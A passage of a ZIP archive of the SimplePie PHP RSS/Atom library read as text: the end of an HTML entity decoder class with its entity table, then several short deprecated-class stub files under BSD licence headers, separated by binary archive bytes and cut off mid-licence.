    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return string Output data
     */
    public function parse()
    {
        while (($this->position = strpos($this->data, '&', $this->position)) !== false) {
            $this->consume();
            $this->entity();
            $this->consumed = '';
        }
        return $this->data;
    }

    /**
     * Consume the next byte
     *
     * @access private
     * @return mixed The next byte, or false, if there is no more data
     */
    public function consume()
    {
        if (isset($this->data[$this->position])) {
            $this->consumed .= $this->data[$this->position];
            return $this->data[$this->position++];
        }

        return false;
    }

    /**
     * Consume a range of characters
     *
     * @access private
     * @param string $chars Characters to consume
     * @return mixed A series of characters that match the range, or false
     */
    public function consume_range($chars)
    {
        if ($len = strspn($this->data, $chars, $this->position)) {
            $data = substr($this->data, $this->position, $len);
            $this->consumed .= $data;
            $this->position += $len;
            return $data;
        }

        return false;
    }

    /**
     * Unconsume one byte
     *
     * @access private
     */
    public function unconsume()
    {
        $this->consumed = substr($this->consumed, 0, -1);
        $this->position--;
    }

    /**
     * Decode an entity
     *
     * @access private
     */
    public function entity()
    {
        switch ($this->consume()) {
            case "\x09":
            case "\x0A":
            case "\x0B":
            case "\x0C":
            case "\x20":
            case "\x3C":
            case "\x26":
            case false:
                break;

            case "\x23":
                switch ($this->consume()) {
                    case "\x78":
                    case "\x58":
                        $range = '0123456789ABCDEFabcdef';
                        $hex = true;
                        break;

                    default:
                        $range = '0123456789';
                        $hex = false;
                        $this->unconsume();
                        break;
                }

                if ($codepoint = $this->consume_range($range)) {
                    static $windows_1252_specials = [0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"];

                    if ($hex) {
                        $codepoint = hexdec($codepoint);
                    } else {
                        $codepoint = intval($codepoint);
                    }

                    if (isset($windows_1252_specials[$codepoint])) {
                        $replacement = $windows_1252_specials[$codepoint];
                    } else {
                        $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
                    }

                    if (!in_array($this->consume(), [';', false], true)) {
                        $this->unconsume();
                    }

                    $consumed_length = strlen($this->consumed);
                    $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
                    $this->position += strlen($replacement) - $consumed_length;
                }
                break;

            default:
                static $entities = [
                    'Aacute' => "\xC3\x81",
                    'aacute' => "\xC3\xA1",
                    'Aacute;' => "\xC3\x81",
                    'aacute;' => "\xC3\xA1",
                    'Acirc' => "\xC3\x82",
                    'acirc' => "\xC3\xA2",
                    'Acirc;' => "\xC3\x82",
                    'acirc;' => "\xC3\xA2",
                    'acute' => "\xC2\xB4",
                    'acute;' => "\xC2\xB4",
                    'AElig' => "\xC3\x86",
                    'aelig' => "\xC3\xA6",
                    'AElig;' => "\xC3\x86",
                    'aelig;' => "\xC3\xA6",
                    'Agrave' => "\xC3\x80",
                    'agrave' => "\xC3\xA0",
                    'Agrave;' => "\xC3\x80",
                    'agrave;' => "\xC3\xA0",
                    'alefsym;' => "\xE2\x84\xB5",
                    'Alpha;' => "\xCE\x91",
                    'alpha;' => "\xCE\xB1",
                    'AMP' => "\x26",
                    'amp' => "\x26",
                    'AMP;' => "\x26",
                    'amp;' => "\x26",
                    'and;' => "\xE2\x88\xA7",
                    'ang;' => "\xE2\x88\xA0",
                    'apos;' => "\x27",
                    'Aring' => "\xC3\x85",
                    'aring' => "\xC3\xA5",
                    'Aring;' => "\xC3\x85",
                    'aring;' => "\xC3\xA5",
                    'asymp;' => "\xE2\x89\x88",
                    'Atilde' => "\xC3\x83",
                    'atilde' => "\xC3\xA3",
                    'Atilde;' => "\xC3\x83",
                    'atilde;' => "\xC3\xA3",
                    'Auml' => "\xC3\x84",
                    'auml' => "\xC3\xA4",
                    'Auml;' => "\xC3\x84",
                    'auml;' => "\xC3\xA4",
                    'bdquo;' => "\xE2\x80\x9E",
                    'Beta;' => "\xCE\x92",
                    'beta;' => "\xCE\xB2",
                    'brvbar' => "\xC2\xA6",
                    'brvbar;' => "\xC2\xA6",
                    'bull;' => "\xE2\x80\xA2",
                    'cap;' => "\xE2\x88\xA9",
                    'Ccedil' => "\xC3\x87",
                    'ccedil' => "\xC3\xA7",
                    'Ccedil;' => "\xC3\x87",
                    'ccedil;' => "\xC3\xA7",
                    'cedil' => "\xC2\xB8",
                    'cedil;' => "\xC2\xB8",
                    'cent' => "\xC2\xA2",
                    'cent;' => "\xC2\xA2",
                    'Chi;' => "\xCE\xA7",
                    'chi;' => "\xCF\x87",
                    'circ;' => "\xCB\x86",
                    'clubs;' => "\xE2\x99\xA3",
                    'cong;' => "\xE2\x89\x85",
                    'COPY' => "\xC2\xA9",
                    'copy' => "\xC2\xA9",
                    'COPY;' => "\xC2\xA9",
                    'copy;' => "\xC2\xA9",
                    'crarr;' => "\xE2\x86\xB5",
                    'cup;' => "\xE2\x88\xAA",
                    'curren' => "\xC2\xA4",
                    'curren;' => "\xC2\xA4",
                    'Dagger;' => "\xE2\x80\xA1",
                    'dagger;' => "\xE2\x80\xA0",
                    'dArr;' => "\xE2\x87\x93",
                    'darr;' => "\xE2\x86\x93",
                    'deg' => "\xC2\xB0",
                    'deg;' => "\xC2\xB0",
                    'Delta;' => "\xCE\x94",
                    'delta;' => "\xCE\xB4",
                    'diams;' => "\xE2\x99\xA6",
                    'divide' => "\xC3\xB7",
                    'divide;' => "\xC3\xB7",
                    'Eacute' => "\xC3\x89",
                    'eacute' => "\xC3\xA9",
                    'Eacute;' => "\xC3\x89",
                    'eacute;' => "\xC3\xA9",
                    'Ecirc' => "\xC3\x8A",
                    'ecirc' => "\xC3\xAA",
                    'Ecirc;' => "\xC3\x8A",
                    'ecirc;' => "\xC3\xAA",
                    'Egrave' => "\xC3\x88",
                    'egrave' => "\xC3\xA8",
                    'Egrave;' => "\xC3\x88",
                    'egrave;' => "\xC3\xA8",
                    'empty;' => "\xE2\x88\x85",
                    'emsp;' => "\xE2\x80\x83",
                    'ensp;' => "\xE2\x80\x82",
                    'Epsilon;' => "\xCE\x95",
                    'epsilon;' => "\xCE\xB5",
                    'equiv;' => "\xE2\x89\xA1",
                    'Eta;' => "\xCE\x97",
                    'eta;' => "\xCE\xB7",
                    'ETH' => "\xC3\x90",
                    'eth' => "\xC3\xB0",
                    'ETH;' => "\xC3\x90",
                    'eth;' => "\xC3\xB0",
                    'Euml' => "\xC3\x8B",
                    'euml' => "\xC3\xAB",
                    'Euml;' => "\xC3\x8B",
                    'euml;' => "\xC3\xAB",
                    'euro;' => "\xE2\x82\xAC",
                    'exist;' => "\xE2\x88\x83",
                    'fnof;' => "\xC6\x92",
                    'forall;' => "\xE2\x88\x80",
                    'frac12' => "\xC2\xBD",
                    'frac12;' => "\xC2\xBD",
                    'frac14' => "\xC2\xBC",
                    'frac14;' => "\xC2\xBC",
                    'frac34' => "\xC2\xBE",
                    'frac34;' => "\xC2\xBE",
                    'frasl;' => "\xE2\x81\x84",
                    'Gamma;' => "\xCE\x93",
                    'gamma;' => "\xCE\xB3",
                    'ge;' => "\xE2\x89\xA5",
                    'GT' => "\x3E",
                    'gt' => "\x3E",
                    'GT;' => "\x3E",
                    'gt;' => "\x3E",
                    'hArr;' => "\xE2\x87\x94",
                    'harr;' => "\xE2\x86\x94",
                    'hearts;' => "\xE2\x99\xA5",
                    'hellip;' => "\xE2\x80\xA6",
                    'Iacute' => "\xC3\x8D",
                    'iacute' => "\xC3\xAD",
                    'Iacute;' => "\xC3\x8D",
                    'iacute;' => "\xC3\xAD",
                    'Icirc' => "\xC3\x8E",
                    'icirc' => "\xC3\xAE",
                    'Icirc;' => "\xC3\x8E",
                    'icirc;' => "\xC3\xAE",
                    'iexcl' => "\xC2\xA1",
                    'iexcl;' => "\xC2\xA1",
                    'Igrave' => "\xC3\x8C",
                    'igrave' => "\xC3\xAC",
                    'Igrave;' => "\xC3\x8C",
                    'igrave;' => "\xC3\xAC",
                    'image;' => "\xE2\x84\x91",
                    'infin;' => "\xE2\x88\x9E",
                    'int;' => "\xE2\x88\xAB",
                    'Iota;' => "\xCE\x99",
                    'iota;' => "\xCE\xB9",
                    'iquest' => "\xC2\xBF",
                    'iquest;' => "\xC2\xBF",
                    'isin;' => "\xE2\x88\x88",
                    'Iuml' => "\xC3\x8F",
                    'iuml' => "\xC3\xAF",
                    'Iuml;' => "\xC3\x8F",
                    'iuml;' => "\xC3\xAF",
                    'Kappa;' => "\xCE\x9A",
                    'kappa;' => "\xCE\xBA",
                    'Lambda;' => "\xCE\x9B",
                    'lambda;' => "\xCE\xBB",
                    'lang;' => "\xE3\x80\x88",
                    'laquo' => "\xC2\xAB",
                    'laquo;' => "\xC2\xAB",
                    'lArr;' => "\xE2\x87\x90",
                    'larr;' => "\xE2\x86\x90",
                    'lceil;' => "\xE2\x8C\x88",
                    'ldquo;' => "\xE2\x80\x9C",
                    'le;' => "\xE2\x89\xA4",
                    'lfloor;' => "\xE2\x8C\x8A",
                    'lowast;' => "\xE2\x88\x97",
                    'loz;' => "\xE2\x97\x8A",
                    'lrm;' => "\xE2\x80\x8E",
                    'lsaquo;' => "\xE2\x80\xB9",
                    'lsquo;' => "\xE2\x80\x98",
                    'LT' => "\x3C",
                    'lt' => "\x3C",
                    'LT;' => "\x3C",
                    'lt;' => "\x3C",
                    'macr' => "\xC2\xAF",
                    'macr;' => "\xC2\xAF",
                    'mdash;' => "\xE2\x80\x94",
                    'micro' => "\xC2\xB5",
                    'micro;' => "\xC2\xB5",
                    'middot' => "\xC2\xB7",
                    'middot;' => "\xC2\xB7",
                    'minus;' => "\xE2\x88\x92",
                    'Mu;' => "\xCE\x9C",
                    'mu;' => "\xCE\xBC",
                    'nabla;' => "\xE2\x88\x87",
                    'nbsp' => "\xC2\xA0",
                    'nbsp;' => "\xC2\xA0",
                    'ndash;' => "\xE2\x80\x93",
                    'ne;' => "\xE2\x89\xA0",
                    'ni;' => "\xE2\x88\x8B",
                    'not' => "\xC2\xAC",
                    'not;' => "\xC2\xAC",
                    'notin;' => "\xE2\x88\x89",
                    'nsub;' => "\xE2\x8A\x84",
                    'Ntilde' => "\xC3\x91",
                    'ntilde' => "\xC3\xB1",
                    'Ntilde;' => "\xC3\x91",
                    'ntilde;' => "\xC3\xB1",
                    'Nu;' => "\xCE\x9D",
                    'nu;' => "\xCE\xBD",
                    'Oacute' => "\xC3\x93",
                    'oacute' => "\xC3\xB3",
                    'Oacute;' => "\xC3\x93",
                    'oacute;' => "\xC3\xB3",
                    'Ocirc' => "\xC3\x94",
                    'ocirc' => "\xC3\xB4",
                    'Ocirc;' => "\xC3\x94",
                    'ocirc;' => "\xC3\xB4",
                    'OElig;' => "\xC5\x92",
                    'oelig;' => "\xC5\x93",
                    'Ograve' => "\xC3\x92",
                    'ograve' => "\xC3\xB2",
                    'Ograve;' => "\xC3\x92",
                    'ograve;' => "\xC3\xB2",
                    'oline;' => "\xE2\x80\xBE",
                    'Omega;' => "\xCE\xA9",
                    'omega;' => "\xCF\x89",
                    'Omicron;' => "\xCE\x9F",
                    'omicron;' => "\xCE\xBF",
                    'oplus;' => "\xE2\x8A\x95",
                    'or;' => "\xE2\x88\xA8",
                    'ordf' => "\xC2\xAA",
                    'ordf;' => "\xC2\xAA",
                    'ordm' => "\xC2\xBA",
                    'ordm;' => "\xC2\xBA",
                    'Oslash' => "\xC3\x98",
                    'oslash' => "\xC3\xB8",
                    'Oslash;' => "\xC3\x98",
                    'oslash;' => "\xC3\xB8",
                    'Otilde' => "\xC3\x95",
                    'otilde' => "\xC3\xB5",
                    'Otilde;' => "\xC3\x95",
                    'otilde;' => "\xC3\xB5",
                    'otimes;' => "\xE2\x8A\x97",
                    'Ouml' => "\xC3\x96",
                    'ouml' => "\xC3\xB6",
                    'Ouml;' => "\xC3\x96",
                    'ouml;' => "\xC3\xB6",
                    'para' => "\xC2\xB6",
                    'para;' => "\xC2\xB6",
                    'part;' => "\xE2\x88\x82",
                    'permil;' => "\xE2\x80\xB0",
                    'perp;' => "\xE2\x8A\xA5",
                    'Phi;' => "\xCE\xA6",
                    'phi;' => "\xCF\x86",
                    'Pi;' => "\xCE\xA0",
                    'pi;' => "\xCF\x80",
                    'piv;' => "\xCF\x96",
                    'plusmn' => "\xC2\xB1",
                    'plusmn;' => "\xC2\xB1",
                    'pound' => "\xC2\xA3",
                    'pound;' => "\xC2\xA3",
                    'Prime;' => "\xE2\x80\xB3",
                    'prime;' => "\xE2\x80\xB2",
                    'prod;' => "\xE2\x88\x8F",
                    'prop;' => "\xE2\x88\x9D",
                    'Psi;' => "\xCE\xA8",
                    'psi;' => "\xCF\x88",
                    'QUOT' => "\x22",
                    'quot' => "\x22",
                    'QUOT;' => "\x22",
                    'quot;' => "\x22",
                    'radic;' => "\xE2\x88\x9A",
                    'rang;' => "\xE3\x80\x89",
                    'raquo' => "\xC2\xBB",
                    'raquo;' => "\xC2\xBB",
                    'rArr;' => "\xE2\x87\x92",
                    'rarr;' => "\xE2\x86\x92",
                    'rceil;' => "\xE2\x8C\x89",
                    'rdquo;' => "\xE2\x80\x9D",
                    'real;' => "\xE2\x84\x9C",
                    'REG' => "\xC2\xAE",
                    'reg' => "\xC2\xAE",
                    'REG;' => "\xC2\xAE",
                    'reg;' => "\xC2\xAE",
                    'rfloor;' => "\xE2\x8C\x8B",
                    'Rho;' => "\xCE\xA1",
                    'rho;' => "\xCF\x81",
                    'rlm;' => "\xE2\x80\x8F",
                    'rsaquo;' => "\xE2\x80\xBA",
                    'rsquo;' => "\xE2\x80\x99",
                    'sbquo;' => "\xE2\x80\x9A",
                    'Scaron;' => "\xC5\xA0",
                    'scaron;' => "\xC5\xA1",
                    'sdot;' => "\xE2\x8B\x85",
                    'sect' => "\xC2\xA7",
                    'sect;' => "\xC2\xA7",
                    'shy' => "\xC2\xAD",
                    'shy;' => "\xC2\xAD",
                    'Sigma;' => "\xCE\xA3",
                    'sigma;' => "\xCF\x83",
                    'sigmaf;' => "\xCF\x82",
                    'sim;' => "\xE2\x88\xBC",
                    'spades;' => "\xE2\x99\xA0",
                    'sub;' => "\xE2\x8A\x82",
                    'sube;' => "\xE2\x8A\x86",
                    'sum;' => "\xE2\x88\x91",
                    'sup;' => "\xE2\x8A\x83",
                    'sup1' => "\xC2\xB9",
                    'sup1;' => "\xC2\xB9",
                    'sup2' => "\xC2\xB2",
                    'sup2;' => "\xC2\xB2",
                    'sup3' => "\xC2\xB3",
                    'sup3;' => "\xC2\xB3",
                    'supe;' => "\xE2\x8A\x87",
                    'szlig' => "\xC3\x9F",
                    'szlig;' => "\xC3\x9F",
                    'Tau;' => "\xCE\xA4",
                    'tau;' => "\xCF\x84",
                    'there4;' => "\xE2\x88\xB4",
                    'Theta;' => "\xCE\x98",
                    'theta;' => "\xCE\xB8",
                    'thetasym;' => "\xCF\x91",
                    'thinsp;' => "\xE2\x80\x89",
                    'THORN' => "\xC3\x9E",
                    'thorn' => "\xC3\xBE",
                    'THORN;' => "\xC3\x9E",
                    'thorn;' => "\xC3\xBE",
                    'tilde;' => "\xCB\x9C",
                    'times' => "\xC3\x97",
                    'times;' => "\xC3\x97",
                    'TRADE;' => "\xE2\x84\xA2",
                    'trade;' => "\xE2\x84\xA2",
                    'Uacute' => "\xC3\x9A",
                    'uacute' => "\xC3\xBA",
                    'Uacute;' => "\xC3\x9A",
                    'uacute;' => "\xC3\xBA",
                    'uArr;' => "\xE2\x87\x91",
                    'uarr;' => "\xE2\x86\x91",
                    'Ucirc' => "\xC3\x9B",
                    'ucirc' => "\xC3\xBB",
                    'Ucirc;' => "\xC3\x9B",
                    'ucirc;' => "\xC3\xBB",
                    'Ugrave' => "\xC3\x99",
                    'ugrave' => "\xC3\xB9",
                    'Ugrave;' => "\xC3\x99",
                    'ugrave;' => "\xC3\xB9",
                    'uml' => "\xC2\xA8",
                    'uml;' => "\xC2\xA8",
                    'upsih;' => "\xCF\x92",
                    'Upsilon;' => "\xCE\xA5",
                    'upsilon;' => "\xCF\x85",
                    'Uuml' => "\xC3\x9C",
                    'uuml' => "\xC3\xBC",
                    'Uuml;' => "\xC3\x9C",
                    'uuml;' => "\xC3\xBC",
                    'weierp;' => "\xE2\x84\x98",
                    'Xi;' => "\xCE\x9E",
                    'xi;' => "\xCE\xBE",
                    'Yacute' => "\xC3\x9D",
                    'yacute' => "\xC3\xBD",
                    'Yacute;' => "\xC3\x9D",
                    'yacute;' => "\xC3\xBD",
                    'yen' => "\xC2\xA5",
                    'yen;' => "\xC2\xA5",
                    'yuml' => "\xC3\xBF",
                    'Yuml;' => "\xC5\xB8",
                    'yuml;' => "\xC3\xBF",
                    'Zeta;' => "\xCE\x96",
                    'zeta;' => "\xCE\xB6",
                    'zwj;' => "\xE2\x80\x8D",
                    'zwnj;' => "\xE2\x80\x8C"
                ];

                for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) {
                    $consumed = substr($this->consumed, 1);
                    if (isset($entities[$consumed])) {
                        $match = $consumed;
                    }
                }

                if ($match !== null) {
                    $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
                    $this->position += strlen($entities[$match]) - strlen($consumed) - 1;
                }
                break;
        }
    }
}
PK�bd[Z����	�	SimplePie/Restriction.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Restriction;

class_exists('SimplePie\Restriction');

// @trigger_error(sprintf('Using the "SimplePie_Restriction" class is deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead */
    class SimplePie_Restriction extends Restriction
    {
    }
}
PK�bd[�$�l��SimplePie/Core.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * SimplePie class.
 *
 * Class for backward compatibility.
 *
 * @deprecated Use {@see SimplePie} directly
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Core extends SimplePie
{
}
PK�bd[+���g	g	SimplePie/Net/IPv6.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Net\IPv6;

class_exists('SimplePie\Net\IPv6');

// @trigger_error(sprintf('Using the "SimplePie_Net_IPv6" class is deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead */
    class SimplePie_Net_IPv6 extends IPv6
    {
    }
}
PK�bd[���H	H	SimplePie/IRI.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\IRI;

class_exists('SimplePie\IRI');

// @trigger_error(sprintf('Using the "SimplePie_IRI" class is deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead */
    class SimplePie_IRI extends IRI
    {
    }
}
PK�bd[r#�k	k	SimplePie/Registry.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
